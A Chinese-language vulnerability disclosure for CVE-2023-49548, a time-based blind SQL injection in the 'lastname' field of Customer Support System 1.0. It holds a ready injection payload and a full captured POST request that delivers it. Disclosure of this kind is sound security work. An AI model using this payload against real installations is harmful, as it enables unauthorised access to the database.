描述:客户支持系统 1 版本存在一个 SQL 注入漏洞。恶意攻击者在通过易受攻击的参数 “lastname” 创建/编辑用户时,可以向 MySQL 数据库发出 SQL 命令。
受影响产品版本:Customer Support System 1.0
CVE 作者:Geraldo Alcântara
日期:2023年11月28日
确认日期:2023年12月19日
CVE:CVE-2023-49548
测试环境:Windows
1- 登录应用程序。
2- 点击您的用户头像并选择“管理账户”。
3- 将恶意 payload 插入 “lastname” 参数。
payload:'%20and%20(select*from(select(sleep(20)))a)--%20
POST /customer_support/ajax.php?action=save_user HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://192.168.68.182
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=department_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
id=1&table=users&firstname=Administrator&middlename=teste&lastname='%20and%20(select*from(select(sleep(5)))a)--%20&username=admin&password=admin
发现者/致谢:
Geraldo Alcântara